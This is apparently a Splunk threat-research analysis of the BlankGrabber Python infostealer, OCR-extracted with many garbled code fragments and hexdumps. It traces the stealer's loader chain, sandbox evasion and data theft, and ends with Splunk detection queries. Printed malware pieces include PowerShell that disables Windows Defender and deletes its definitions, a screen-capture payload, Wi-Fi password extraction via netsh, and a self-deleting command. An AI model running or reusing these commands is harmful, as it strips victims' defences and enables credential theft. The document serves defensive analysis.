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BlankGrabber is a Python-based information stealer engineered to exfiltrate sensitive data,
including browser credentials, session tokens, and system metadata. First identified by security
researchers in 2023, the malware has gained notoriety for its modular architecture and rapid
development cycle, designed specifically to maintain a low footprint and bypass traditional
detection mechanisms.

BlankGrabber is primarily distributed through social engineering and phishing campaigns.
Common delivery vectors include "cracked" software downloads, malicious archives shared via
Discord, and weaponized GitHub repositories masquerading as legitimate utilities. Upon
execution, the stealer establishes persistence and exfiltrates harvested data to attacker-controlled
C2 (Command and Control) endpoints.
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In this technical deep dive, the Splunk Threat Research Team (STRT) analyzes the malware’s
obfuscation, behavioral characteristics, and forensic artifacts observed during analysis. The
objective is to provide practical insights that help strengthen defensive operations, with a focus on
using Splunk-based detections to support both real-time alerting and proactive threat hunting.

Batch File Loader and Stager

The STRT analyzed an interesting BlankGrabber loader hosted on the Gofile[.]io file-sharing
platform. The sample appears to be a script that decodes data and installs it as a certificate using
certutil.exe, a built-in utility in Microsoft Windows. However, closer inspection revealed that the
encoded content shown in Figure 01 is not a certificate at all. Instead, it contains a compiled Rust
executable that functions as a stager, responsible for decrypting and launching the actual
malicious payload. This technique helps disguise the payload as legitimate certificate data while
adding an extra layer of obfuscation to the infection chain.
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F|gure 01 Batch Scrlpt Loader

The decrypted stager executable implements several anti-analysis techniques designed to evade
sandbox and virtual machine environments commonly used in malware research. As shown in
Figure 02, the stager checks the presence of specific system drivers that are typically associated
with sandbox or virtualization platforms. In addition, the sample contains a predefined list of




suspicious usernames and computer names, which compares against the infected system to
identify indicators of an automated analysis environment. These checks help the malware avoid
execution when it detects conditions commonly found in controlled or research-based setups.

Usernames Computer Names

Triage, Sandbox, Malware, User, Admin Test, Virus, Zenbox Triage, Sandbox, Zenbox

Figure 02: Anti-Sandbox and Virtualization

The stager then decrypts the final payload and randomly selects a filename from a hardcoded
listed in the table below to better blend in with legitimate processes on the compromised system.
This randomization helps reduce suspicion by making the dropped file appear less predictable
during execution. As illustrated in Figure 03, the decrypted payload is a self-extracting RAR
archive (SFX), commonly associated with tools developed by RARLAB. The archive dropped in
%TEMP% folder contains multiple malicious components, including the XWorm client (host.exe)
and the Pylnstaller compiled executable BlankGrabber Stealer (Knock.exe), which are deployed
together to enable both remote access and data exfiltration on the infected host.

Table 01: list of payload filenames

OneDriveUpdateHelper.exe
RuntimeBroker.exe
svchost_update.exe
GoogleUpdateSetup.exe
MicrosoftEdgeUpdate.exe

SteamService.exe
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NvidiaContainer.exe

MName

[5] host.exe
[ Knock.exe

PE+ PO08B6B8 BB7E3982 |H

Figure 03: XWorm and BlankGrabber Trojan Stealer

BlankGrabber Component Analysis

Obfuscated Files or Information: T1027

Like many script-based malware families, BlankGrabber leverages the flexibility of Python to
heavily obfuscate its source code and make analysis more difficult. The operators commonly
package the script using Pylnstaller, converting the original Python code into a standalone
executable that embeds the interpreter along with compiled bytecode. This technique helps
conceal the readable source while allowing the malware to execute the embedded bytecode at
runtime. By combining code obfuscation with executable packaging, BlankGrabber improves
portability and reduces the likelihood of straightforward static detection.

Stage1: Pyinstaller Component

After extracting the malicious Python executable package, it can be observed that one of the
embedded Python bytecode files (.pyc) attempts to read and process a high-entropy data blob
named “blank.aes”, as illustrated in Figure 04. The presence of this high-entropy file suggests
that the payload is encrypted and obfuscated, indicating that the executable likely decrypts the
content at runtime to reconstruct the actual malicious payload.

5/33


https://pyinstaller.org/en/stable/

C7548078-bab7-4668-albc-b53452a553F3. pyc 4FRO -------- 80e8eee8 |Hiew 8.32

Hiew: blank.aes

blank.aes

Figure 04: Stage 1 Decryption

After disassembling the Python bytecode, STRT observed that the code uses the AES-GCM

algorithm to decrypt the “blank.aes” file. Figure 05 below shows the hardcoded AES key and
initialization vector (V) used during the decryption process.
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Figure 05: Stage 1 _Disassembly

During our analysis, standard decryption attempts using the “pyaes” library failed. Upon
examining the Python bytecode of the AES library extracted from the BlankGrabber Pylnstaller
package, STRT identified that this malware employs an AES-CTR algorithm with a customized
approach to IV (Initialization Vector) parameter processing.
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class AESMo perationGCM(AESModeOfOperationCTR )
name

iv[izd
=Count

cftb=AESMo fOperationCFB, ecb

return

def _concat_list(a
return a + by

Figure 06: BlankGrabber AES-GCM Algorithm

By implementing the customized AES-GCM routine used by BlankGrabber, STRT was able to

decrypt the ZIP archive containing the next stage of obfuscation, ultimately extracting the actual
BlankGrabber payload.
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raw data
00000000 :
00000010
00000020
00000030
00000040
00000050
00000060 :
00000070
00000080 :
00000090 :
000000RAD :
000000BO :
000000CO :
000000D0 :
0000O00ED :
00000OFO:

compresse
00000000
00000010:
00000020:
00000030:
00000040
00000050:
00000080
Q0000070
Q0000080
00000050
OO0000AD:
000000BO0:
000000CO:
Q0000000
QOO0O000ED:
QO0000FO:

decrypted
00000000 :
00000010
00000020 :
00000030:
00000040 :
00000050 :
00000060 :
00000070
00000080 :
00000080 :
000000AD :
000000BO :
000000CO:
00000000 :
O000DO00OED:
0000D00OFO:

Succesas!

hexdump:
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2E OB FO
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C& 5A &D
7T E2 &3
4C BT 8SC
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Figure 07: Decrypted Zip Archive Payload
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payload has been decrypted using the

B3 CC 23
Al Ds
&S TC 8C
1B 289 73

4k 449 14
67 50 OF
Ag TO 2C
74 C5 B3
10 83 15
BE 4E &0
28 &D &7
13 16 DD
B3 D5
2E 51 02
0B E4 B3

2C 8D 34
18 E4 ES
3C 8A &8
5D 84 80
B2 BE B6
F2 0O& AF
2B &2 EE
43 0B 12
4D 4C B3

83 66 ES
6D 30 36
E3 82 BS
LE AE AF
aF 41 4E
cé D3 17

SC CA 334
e 73 7

00 00 00
00 00 00
F3 AC 0OA
02 22 00
00 00 00
00 00 00
00 35 01
01 31 01
00 00 00
00 00 00
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00 00 00
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cenag T /*0F° BN

CIR logic.
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Stage 2: Obfuscated Python Stub

The decrypted ZIP archive contains another Python bytecode file named “stub-o.pyc”. Once
decompiled, as shown in Figure 08, we can observe a heavily obfuscated Python code that loads
and decompresses a zlib-compressed byte array. This byte array represents another layer of
obfuscated Python, illustrated in Figure 09, which is encoded using Base64, ROT13, and string
reversal. These multiple layers of encoding are designed to make it difficult to retrieve the actual
BlankGrabber payload.

112 eval(getattr(__ import_ (b
tattr(_ import_ (
lambda

async with
pass
[ EE eI

Pr74m93j [
S1xIOryTbnLR - S TMII@a(

Figure 09: Obfuscate Final Python Loader

BlankGrabber Stub Analysis

After the de-obfuscation and decoding of the final stager, the STRT successfully recovered the
BlankGrabber payload stub. Figure 10 illustrates the configuration settings for this compiled
malware, detailing the specific features and capabilities enabled within this particular malicious
build.
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cens

bool

bool( "'
sCommonFiles = bool("’
lallets = bool('true'’

'8")
beel('"’

Virtualization/Sandbox Evasion: System Checks: T1497.001

BlankGrabber employs an extensive list of environmental artifacts to determine if it is executed
within a sandbox or a virtual machine designed for malware analysis. Figure 11 below illustrates
the specific hardware UUIDs, computer names, usernames, and debugging tools the malware
scans for to identify these analysis environments on a compromised host.
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class VmProtect:
BLACKLISTED_UUIDS
'@3DEB294-R4808-85
' ADEEEE9SE-EF®
'@88@?@@8 6000-00008-8
104 -B2008-9%83
-52E8&-E25B-

'iD DDL:—-EOOL Q—F—— ;FE-SS
'76122042-C286-FAB1-FOAB-514
BQElH'Eﬁ E691-4AFFE-B67B-F@E4115D5

BLACKLISTED COMPUTERNAMES

'desktop-vkeons4'
BLACKLISTED_USERS
'frank', '8nl@colng5bq’
‘3u2vIm8’, ‘julia',
BLACKLISTED_TASKS

] " - : ¥ . 5 .
vimtoolsd vy t 'ollydbg u y 'vgauthservice

'x32dbg’', "vmusrvc cc” rl tools' service', "gemu ' joeboxcontrol’
'joeboxserver'; "vmw ervice', 'vmwaretray', 'cis:or:toke*:roLectﬂr
@staticmethod

def checkUUID( > bool:

Logger.info('Checking UUID'

return uuid in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName( bool

Logger.info('Checking computer name'

computername os.getenv('computername'

return computername.lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod

Figure 11: BlankGrabber Anti-Virtualization

This trojan stealer also verifies whether the compromised host’s internet connection is simulated
or spoofed. It does this by attempting to connect to a randomly generated URL. If no exception or
error occurs, the malware concludes the network is simulated, as a legitimate connection would

typically fail to resolve a non-existent address.

Additionally, it queries the network adapter registry for adapter names or driver

associated with virtualization or sandbox environments.

def checkHTTPSimulation()

Logger.info('Checking if
http = PoolManager(cert_reqgs
try:
http.request('GET"', f'https://
except Exception:
return False
return True
@staticmethod
def checkRegistry( > bool:
Logger.info('Checking registry’
returncode = [subprocess.run("REG QUERY
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet@®1\\Control\\Cl

in ["'D:\\Tools" "D:\\052" "D:\\NT3X"]
@Sthl’methOd
def killTasks() -> None
Utility.TaskKill(*VmProtect.BLACKLISTED_TASKS

Figure 12: BlankGrabber Checks Fake NET and Adapter Provider

\\{4D36E968-E325-11CE-BFC1
capture output=True, shell=True) for r2 in any((x.lower()!= 1 and r2.returncode

asee
1 or

2BE1@318})
gpucheck

\\oea
or

endor

@\ \ProviderName 2"
dircheck) for path




Gather Victim Network Information: T1589

The malware utilizes the IP lookup service “ip-api[.]Jcom” to gather network details from the
compromised host such as region, country, IP address and time zone as shown in Figure 13 and
Figure 14. It also leverages the “hosting” field to determine whether the target host is situated in a
cloud or hosted environment.

Logger.info("
http = PoolMan
try:
return http.request('GET', 'h o ho ') from http.data.decode(errors

r json.loads(http.r st("GET", 'htt ) .data.dec
raise Exception('Failed’)
\ r {r['count
{'P

ipinfo
else:
ipinfo
tem_info = p Mame } ~ 05: { ter0Ss otal Me {totalMemory UUID: {uuid

ell’ sh.Poj 1 J
to put the fllP in J+ar+up 1f.Excluding the file from Windows defender in
startup,
grabbedInfo = "\n'.join([key + ' : ' + str(wvalue) for key, value in collection.items

Figure 147 Network tnformation Cotlection

System Information Discovery: T1082

To collect information from the targeted host, it runs the "systeminfo™ utility to gather basic
system data and the "getmac" tool to retrieve the MAC address and save that information in
“MAC Address.txt” in %temp% folder.

output = proc
if output

veToDir
path.join
e(output)

tolen True

Figure 15: System Informatlon Collection
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Windows Management Instrumentation: T1047

This Trojan stealer leverages Windows Management Instrumentation (WMI) to gather additional
information from the compromised host. The table below lists the WMI commands used by
BlankGrabber:

WMI Command description

wmic path win32_shortcutfile where name=\"%s\" get target Locate .LNK target file.
/value

'WMIC /Node:localhost /Namespace:\\\root\\SecurityCenter2 Collect all AV product

Path AntivirusProduct Get displayName installed in the host system.
wmic computersystem get totalphysicalmemory Get the total available

memory on the host system.

wmic csproduct get uuid Get the Computer UUID of
the target host.

Video Capture: T1125

The malware captures webcam snapshots for victim profiling and data theft; this also serves to
determine whether the system belongs to a live user or a sandbox environment.

def CaptureWebcam(index: int, filePath: str) -» bool:

avicap32 y windll.avicap32

WS_CHILD, @

A(hcam, WM_CAP_DRIVER_CONNECT, index, @) and ctypes.windll.user32

Browser Information Discovery: T1217

Like other Trojan stealers, BlankGrabber parses various Chromium and Firefox browser
databases to collect sensitive information such as passwords, cookies, history, and autofill data. It
saves this information into text files, specifically Password.txt, Cookies.txt, History.txt, and
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Autofill.txt within a randomly named folder in the %temp% directory. It also parses crypto wallet
information from local browser extensions, such as Zcash, Bytecoin, Exodus, Ethereum, and
Electrum, residing on the compromised host.

for name, i
path

if os
def run(name, path):

Utility

saveToDir = (3 ir mpFolder ed
passwords = browser.Ge rds if Settings.

Figure 17: Browser Information Parsing

Clipboard Data: T1115

Figure 18 illustrates how BlankGrabber retrieves the current text content from the system's
clipboard and stores it in a file. It starts by optionally logging a message if system information
capture is enabled. The script then prepares a directory path inside a “%temp%\System” folder
and executes a PowerShell command to read the clipboard data. If the command runs
successfully and clipboard text is available, the code creates the target directory (if it does not
already exist) and writes the clipboard content into a file named Clipboard.txt using UTF-8
encoding. This allows the clipboard data to be saved for later reference or processing.

shell=True, capture_ output=True)

if process.returncode == @ else None

= encoding="ut
file.write(content)

Figure 18: Parsing Clipboard Déta

Screen Capture: T1113

The Base64 string shown in Figure 19 is being used to hide and execute embedded .NET code
through PowerShell. When the Base64 content is decoded, it reveals inline C# (.NET) source
code. The script uses the Add-Type feature to compile that C# code dynamically in memory. The
compiled code creates a class that captures screenshots from all available displays using .NET
libraries such as drawing and Windows Forms. After capturing the screens, the script loops
through the images and saves them as PNG files in the working directory.

15/33



AgACAATAAZACAATAASACAATAASACAACEE ] AHMADQB s AHQACWAUAE EAZABKAC gAKABCAGKADAB tAGEACAADAGT A2QBBAGRAYQBWACAAQWE SAGBADEB1ACEAKOAD
ADsADQAKACAATAASACAATAASACAAT AAEACAAT AASACAATAASACAAFOANAAOATAASACAATAAZACAATAASACAAT AAEACAAFQANAAOATAAGACAATAASACAAT AASAC
AATAAZACAAYWBhAHQAYWBOACAAKABFAHZAYWB 1 AHAAIABPAGEAbZADAABACEAZACAATAAZACAATAAEACAATAASACALTAB7AABACEAZACAATAASACART AAZACAA
TAAGACAATALEACAATAAEACSALuAEAEEAYQBUAGOABABLACAAYQBUAHKATAB1AHEAYWE 1AHAAABPAGSAbEEZ ACARAAB] AHT AZQANAAOAT AAGACAAT AASACAATA
AgACAATAAZACAATQANAACATAAGACAATAAEACAAT AAGAHBADQAKAABACEAEACAATAAZACAAT AAGACAACEE L AHQADQBYAGAATABY AGUACWE LAGWACAB ZADSADQAK
ACAATAAGACAAFQANAAOATQANAAOAT EBAAABACEANAAOAQDBKAGOALQBUAHKACAB1ACAALQBUAHKACABLAEQAZQBMAGKADEBPAHQAZQBVAGAATAAKAHMADWBLAH
TAYWB1ACAALQBSAGUAZEB1AHIAZQBUAGMAZQBKAEEACWBZAGUABQBIAGWASQB] AHMATABT AHKACWBBAGUADQAUAEQACZBhAHCAAQBUAGCALAAEAFMARQBZ AHQA
ZOBtACAAVWBPAGAAZABVAHCACWAUAEYAbWBYAGBACWANAAOADQAKACOACWE  AHIAZOB 1AGAACWBOAGBAJAB ZACAAPQAZAF s AUWB jAHIAZQB1 AGAACWEOAGEACA
BdADOAOEBDAGEACABBAHUACEB LAFMAYWBY AGUAZQBUAHMAKAAPAABACEANAACADQAKAGYAbWBY ACAAKARKAGKAT AAGACAAMAAT ACAATABPACAALOB sAHOATAAK
AHMAYWBYAGUAZQBUAHMAZABY AHOACWAUAEMABWE 1 AGAAIAAT ACAAT ABPACS AKWADAHS ADQAKACAATAAEACAAT ABZAGMACER LAGUADEE Z AGEAbWBOACAAPQAZAC
QACWBAHIAZQB1AGAACKWBOAGEAIABZAF sATABpAFBADOAKACAATAAGACAATABZ AGMACEBLAGUALEE ZAGEAbWEBACAAUWBhAHYAZQAOACTAL gAvAEQAAQBZ AHAA
bABhAHKATAACACQAKAAKAGKAKWAXACKAKQAUAHAADEENAC TAKQANAACATAASAC AAT AAKAHMAYWEYAGUAZQBUAHMARABY AHOAL gBEAGKACKBWAGSACKWE LACZAKQ
ANAADAFQAL

mr 3548 = 1 Tr Raw Bytes &= LF

Output B0 mE::

|$source =@

using System;

using System.Collections.Generic;
using System.Drawing;

using System.Windows.Forms;

public class Screenshot

{
public static List<Bitmap> CaptureScreens()
{
var results = new List<Bitmap>();
var allScreens = Screen.AllScreens;
foreach (Screen screen in allScreens)
i
try
{
Rectangle bounds = screen.Bounds;
using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);
If
results . Add((Bitmap)bitmap.Clone());
}
g
catch (Exception)
{
// Handle any exceptions here
}
h
return results;
1
1
@

Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms
$screenshots = [Screenshot]::CaptureScreens()
for (%1 = 8; $i -1t $screenshots.Count; $i++){

$screenshot = $screenshots[$i]

$screenshot.Save("./Display ($(%i+1)).png")
$screenshot.Dispose()
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Fibure 19: Screen Capture Function

Indicator Removal: File Deletion: T1070.004

Figure 20 shows how BlankGrabber safely deletes a file, most likely the currently running
executable after the program finishes its work. It launches a separate background command using
subprocess.Popen. The command uses a short ping localhost delay to give the program time to
exit, then runs the del command with flags that force deletion and allow removal of hidden files.

cutable Utility.GetSelf

\'{I\""'.format(path), shell=True, creationflags

os.remove(path

Figure 20: Delete Itself

System Network Configuration Discovery: Wi-Fi Discovery: T1016.002

As part of data collection, BlankGrabber extracts the saved password for a specific Wi-Fi profile
by reading the output of a system command. It runs the “netsh wlan show profile "<profile>"
key=clear” command, which on Microsoft Windows displays detailed information about a stored
wireless network, including the plaintext key when permissions allow it.

e = line[line.find("':")
for profile in profiles:
found = False

\V'{profile}\" key=clear', shell=True, capture_output=True)

if not found:
passwords[profile]
return passwords

Figure21: Extract WLAN Password

Impair Defenses: Indicator Blocking: T1562.006

As part of its defense evasion strategy, BlankGrabber attempts to block the security websites
listed as “BANNED_SITES” in Figure 22. It first queries the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry
key to locate the “DataBasePath”, which identifies the folder path of the hosts file. If
unsuccessful, it manually locates the file in “C:\Windows\System32\Drivers\etc\hosts” and
appends entries for each banned site, redirecting them to 0.0.0.0 to make them inaccessible on
the compromised host.
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def BlockSites() -»> None:

if Utility.IsAdmin is None:

call s @ | Y HKEY_LOCAL_MACHINEY
: _output=True
hostdirpath = 7 if call.returncode!= @ else os.sep.join(call.stdout.decode
er ) rip() ylitlines it ] plit(o p)[1:
hostfilepath .path.joi v 3 hostdirpath s'
if not os.path.isfile(hostfilepath):

return None
else:

with open(hostfilepath]

data = file dlir
BANNED_SITES rust

ne |
for i in data:
newdata.append(i) if not any([x in i for x in BANNED_SITES]) else newdata.append(i)
for i in BANNED SITES:
" t8.0.¢ rmat(i)
' format(i

subproc n("attrib ormat (| th), she =True, capture_output=True)

with open(hostfilepath, ' File, file.write(newdata)
pass
subprocess.run('attrib +r {}'.format(hostfilepath), shell=True, capture_output=True)

Figure22: Block Sites via Hosts File

Impair Defenses: Disable or Modify Tools: T1629.003

Figure 23 illustrates a screenshot of the BlankGrabber script that attempts to evade the Windows
Defender security mechanisms developed by Microsoft. The script uses PowerShell commands to
modify system security preferences by disabling multiple real-time protection features, intrusion
detection components, and sample submission services. Additionally, it executes the
“RemoveDefinitions” option to delete existing antivirus signatures, thereby reducing the
likelihood that the malware will be detected during execution.

cGO37XIzaGVsbCBTZXQt TXBQemvmZXI1bmN1IC1EaXNhYmx1SW58cnVzalWguUHI 1dmvudGlvbINSc3R1bSAkdHI17SATRGL zYWISZ
UIPQVZQcmIBZWNBawWduICRecnV1IC1EaXNhYmx1UmVhbHRpbWVNDb25pdGEoyall5nICRBcNVITC1EaXNhYmx 1U2NyaXBaU2NhbmSpbm
cgJHRydWUg LUVUYWIsZUNvbnRyb2xs ZWRGb2xkZXIBY2N1c3MgRG1 z YW sZWQg LUVUYWI s ZUS 1dHd vemtQem9aZwNeaWIuTEF 1761
BTWIKZSALRmOYY2UgLULBUFNSZXBvcnRpbmcgRG1zYWIsZWQgLVN1Ymlpd FNhbXBsZXNDb25z ZWSBTES LdmyyU2VuZCAmI iBwb3d1
cnioZWxsIFN1dCINCFByZWZ lemuY 2UgLVN1¥Ym1pdFNhbXBsZXNDb25zZW58IDIgliAi IVByb2dyYW1GakxlcyVeW21uZGA3cyBEZ
WZ1bmR1clxNcENtZFI1bisleGUilC15ZWlvdmVEZWZ pbmlBakouc yAtQLixs)

rc 554 = 1 Tr Raw Byltes &= LF

Output RO mE::

ipc:-wer‘shell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -
DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderfccess Disabled -
EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend &&%
powershell Set-MpPreference -SubmitSamplesConsent 2 & "¥%Programfilesi\Windows Defender\MpCmdRun.exe"
-RemoveDefinitions -All

Figure 23: Disable Windows Defender
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In addition, this Trojan stealer adds the directory containing its malicious payload to the exclusion
list of Windows Defender using the PowerShell command Add-MpPreference -ExclusionPath.
This technique prevents the antivirus engine from scanning the specified path, thereby enhancing
the malware’s defense-evasion capability.

Bypass User Account Control: T1548.002

BlankGrabber attempts to run the program with elevated privileges by using a registry-based UAC
(User Account Control) bypass technique on Microsoft Windows. It first checks whether the
process is already running with the required permissions. If not, it defines a helper function to
execute system commands silently and then temporarily creates specific registry entries under the
“‘ms-settings” path. These entries redirect a trusted system's utility to launch the current Python
executable instead.

ss(method: int=1 > bool

if Utility.GetSelf() is None[1]
= lambda cmd: subpr
nt_bef

log_count_before else True

xecutable}\"

execute(’
return Util
return True
return False

Figure 24: UAC Bypass

Registry Run Keys / Startup Folder: T1547.001

Utilizing the startup folder as a persistence mechanism, BlankGrabber installs a copy of its
payload to guarantee re-execution following a reboot of the infected host.

def PutInStartup() ->

STARTUPDIR

try:
pass
except Exception:
return None
return out

Figure 25: Persistence Mechanism
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Query Registry: T1012

As part of its data-harvesting routine, this Trojan stealer targets the Windows product key by
executing a specialized PowerShell command. It specifically queries the registry path associated
with Microsoft’s software licensing “SoftwareProtectionPlatform” to extract the
“‘BackupProductKeyDefault” value. This allows the attacker to exfiltrate the host's official
activation details alongside other sensitive system information.

d', capture_output=True, shell=True).stdout.decode(errors

hell=True)

Data from Local System: T1005

As shown in the code snippet in Figure 27, BlankGrabber catalogs various file types on the
compromised host including documents, credential databases, wallets, and multimedia files as
part of its data collection routine.

s.path.join(

s.path.join(self.TempFolder, 'Common Files', name] =True)

shutil.copy(os.path.join(dir, file), os.path.join(self.TempFolder n Files', name
file))
self.CommonFilesCount += 1
except Exception:
pass

Figure 27 File Collection
Aside from collecting system files, this malware also targets sensitive user data from several
popular gaming and communication platforms. This includes stored credentials, session data, and

authentication tokens that may allow access to user accounts. The platforms referenced in the
code include:

e Telegram (session data)
 Discord (account tokens)
e Roblox

o Uplay

e Steam

e Epic Games

o Growtopia
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e Minecraft

Archive Collected Data: Archive via Utility: T1560.001

BlankGrabber embeds a legitimate rar.exe utility within the Pylnstaller package used to build the
malware executable. This bundled tool commonly associated with RAR utility that is commonly
used to compress all collected data into a single archive before exfiltration. By packaging the files
together, the program simplifies data transfer and reduces the overall size of the stolen content.
Figure 28 shows that the archive is protected with the password “Blank123”, which is applied to
the compressed data generated on the compromised host.

rarPath = os.path.join(sys._MEIPASS, ‘rar.exe’
rarPath = (Utili Self()[1] or os.path.isfile(rarPath if Utility.GetSelf()[1] or os.path.join(sys. MEIPASS
if os.path.i

process =
if process.returncode ==
return ‘rar’

Figure 28: Archive Collected Data

Exfiltration Over Alternative Protocol: T1048

In addition to the encoded Telegram bot C2 ID embedded in the configuration function shown in
(Figure 05), BlankGrabber leverages public web services to exfiltrate stolen data. As shown in
Figure 29, the malware is capable of uploading sensitive information from the compromised host
to external hosting platforms

r.into
with ope
fileBy
filename
http =

n.loads(http.reques ; e.i i F E ={"'file': (filename,
) .data.decod

(filename

Figure 29: Uploading Data

Detections

Windows Product Key Registry Query

This Analytics detects the execution of a process attempting to access the registry for product key
recovery purposes. This behavior is significant as it indicates potential malware activity or
attempts to bypass security measures or data exfiltration.
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https://research.splunk.com/endpoint/977da0c0-c7d5-45de-8b7e-f79e959ca13d/?query=windows%20product%20key%20registry%20query

“"wineventlog_security”™ EventCode=4663 object_file_path="*\\SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\SoftwareProtectionPlatform" | stats count min(_time) as firstTime
max(_time) as lastTime by object_file_name object_file_path process_name process_path
process_id EventCode dest | “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_product_key_registry_query_filter"

New Search Save As ¥ Creatt

wineventlog_security’ EventCode=4663 object_file_path="#\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform"
| stats count min{_time) as firstTime max(_time) as lastTime by object_file_name

object_file_path process_name process_path process_id EventCode dest

| "security_content_ctime(firstTime)"

| 'security_content_ctime(lastTime)"

+ 1event (22/02/2026 12:00:00.000 to 23/02/2026 12:19:07.000) No Event Sampling «

Job [ ]
Events Patterns Statistics (1) Visualization
20 Per Page v # Format Preview +
pre
object_file_name Fd object_file_path = g process_name ¥ rd process_path = i 5

SoftwareProtectionPlatform \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe
NT\CurrentVersion\SoftwareProtectionPlatform

C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe  0x1

Figure 30: Windows Product Key Registry Query Detection

Windows DNS Query Request by Telegram Bot API

The following analytic detects the execution of a DNS query by a process to the associated
Telegram APl domain, which could indicate access via a Telegram bot commonly used by
malware for command and control (C2) communications.

‘sysmon” EventCode=22 query = "api.telegram.org" process_name != "telegram.exe"
| stats count min(_time) as firstTime max(_time) as lastTime
BY answer answer_count dvc

process_exec process_guid process_name

query query_count reply_code_id

signature signature_id src

user_id vendor_product QueryName

QueryResults QueryStatus

| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_dns_query_request_by telegram_bot_api_filter

New Search SaveAs¥  Create Table View  Close
EventCode=22 query = "api.telegram.org” process_name != "telegram.exe" Last 24 hours * B
| stats count min{_time) as firstTime max(_time) as lastTime

process_exec process_guid process_name| query query_count signature signature_id src user_id vendor_product QueryName QueryResults QueryStatus
| “security_content_ctime(firstTime)"
| “security_content_ctime(lastTime)

+ 1 event (2/24/26 10:00:00.000 AM to 2/25/26 10:30:33.000 AM) No Event Sampling =

Jobw » & 4 ¥ SmartMode~
Events Patterns Statistics (1) Visualization
20 Per Page * # Format Preview v
Fd r Ve s rd s s s s s

process_exec process_guld process_name query_count signature signature_id src re user_id vendor_product QueryName ’ QueryStatus count
s : s query = 7 s s s s s s s QueryResults = 4 s = firstTime =
blank- 28356818~ blank- api .telegram.org 1 DNSEvent 22 EC2AMAZ-  "S-1- Microsoft api.telegram.org  ::ffff:149.154.166.110; ] 1 2026-02-
grabber, exe C6D6-699E- grabber exe (DNS UGLBNDD 5-18" Sysmon 25T09:54:+

Ceas- query)

00000024303

Figure 31: Windows DNS Query Request by Telegram Bot API Detection
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https://research.splunk.com/network/86f66f44-94d9-412d-a71d-5d8ed0fef72e/?query=windows%20dns%20query%20request%20by%20telegram%20bot%20api

Windows Gather Victim Network Info Through Ip Check Web Services

The following analytic detects processes attempting to connect to known IP check web services.

“sysmon” EventCode=22 QueryName IN ("*wtfismyip.com", "*checkip.*", "*ipecho.net",
"*ipinfo.io", "*api.ipify.org", "*icanhazip.com", "*ip.anysrc.com",'"*api.ip.sb",
"ident.me", "www.myexternalip.com", "*zen.spamhaus.org", "*cbl.abuseat.org",
"*b.barracudacentral.org", "*dnsbl-1.uceprotect.net", "*spam.dnsbl.sorbs.net",
"*iplogger.org*", "*ip-api.com*", "*geoip.*'", "*icanhazip.*", "*ipwho.is*",
"*ifconfig.me*", "*myip.com*", "*ipstack.com*", "*myexternalip.com*", "*ip-api.io*",
"*trackip.net*", "*ipgeolocation.io*", "*ipfind.io*", "*freegeoip.app*",
"*ipv4bot.whatismyipaddress.com*")

| stats min(_time) as firstTime max(_time) as lastTime count

BY answer answer_count dvc

process_exec process_guid process_name

query query_count reply_code_id

signature signature_id src

user_id vendor_product QueryName

QueryResults QueryStatus

| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_gather_victim_network_info_through_ip_check_web_services_filter"

New Search Save As~  Create Table
EventCode=22 QueryName N (“swtfismyip.com", “checkip.#", "ipecho.net", Last 2
"sipinfo.io", "xapi.ipify.org", "sicanhazip.com®, "xip.anysrc.com","*api.ip.sb",

"ident.me", "www myexternalip.com", "szen.spamhaus.org®, "xcbl.abuseat.org", "sb.barracudacentral.org",
"#dnsbl-1.uceprotect.net”, "#spam.dnsbl.sorbs.net", "wiplogger.org#", "*ip-api.com%",
"xgeoip.®", "xicanhazip.*", "wipwho.isx", "sxifconfig.mex", "smyip.comx", "xipstack.comx",

"smyexternalip.coms”, "sip-api.io", "strackip.net*", *sipgeolocation.iox", "sipfind.io",
"sfreegeoip.app*®, “*ipvabot.whatismyipaddress.comt") | stats min(_time) as FirstTime
max(_time) 25 lastTime count by process_exec process_guid

process_name query query_count reply_code_id signature signature_id src user_id
vendor_product QueryName QueryResults QueryStatus | ‘security_content_ctime(firstTime)®
| “security_content_ctime(lastTime)"

+ 1event (2/24/26 11.:00:00.000 AM to 2/25/26 11:33:42.000 AM) No Event Sampling =

Job v s B &
Events Patterns Statistics (1) Visualization
20 Per Page = # Format Preview =
7 7 7 / 7’ r / P 7’ z 7’
process_exec process_guid process_name s query_count reply_code_id signature signature_id src v user_id vendor_product QueryName QueryStatus
$ - $ query * % $ $ $ 3 ¢ $ $ QueryResults = / &
blank- 28358818~ blank- ip- 1 e DNSEvent 22 EC2AMAZ- "S-1- Microsoft ip-api.com ::FFFF:208.95.112.1; -]
grabber . exe C6D6-699E- grabber.exe api.com (DNS UGLBNO® 5-18" Sysmon
Coes- query)
00000ReR4303

Figure 32: Windows Gather Victim Network Info Through Ip Check Web Services Detection

Windows WinRAR Launched Outside Default Installation Directory

This Analytics detects the execution of WinRAR or RAR outside the default installation directory.
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where Processes.process_name IN ("Winrar.exe",
IN ("*:\\Program Files (x86)\\WinRAR\\*",

tstats “security_content_summariesonly” count min(_time) as firstTime max(_time) as
lastTime from datamodel=Endpoint.Processes

"rar.exe") AND NOT (Processes.process_path
"*:\\Program Files\\WinRAR\\*"))

by Processes.action Processes.dest Processes.original_file_name Processes.parent_process

Processes.
Processes.

Processes.process_exec

Processes

Processes.process_integrity_level

Processes.

Processes.vendor_product

“drop_dm_object_name(Processes) "

“security_content_ctime(firstTime)"

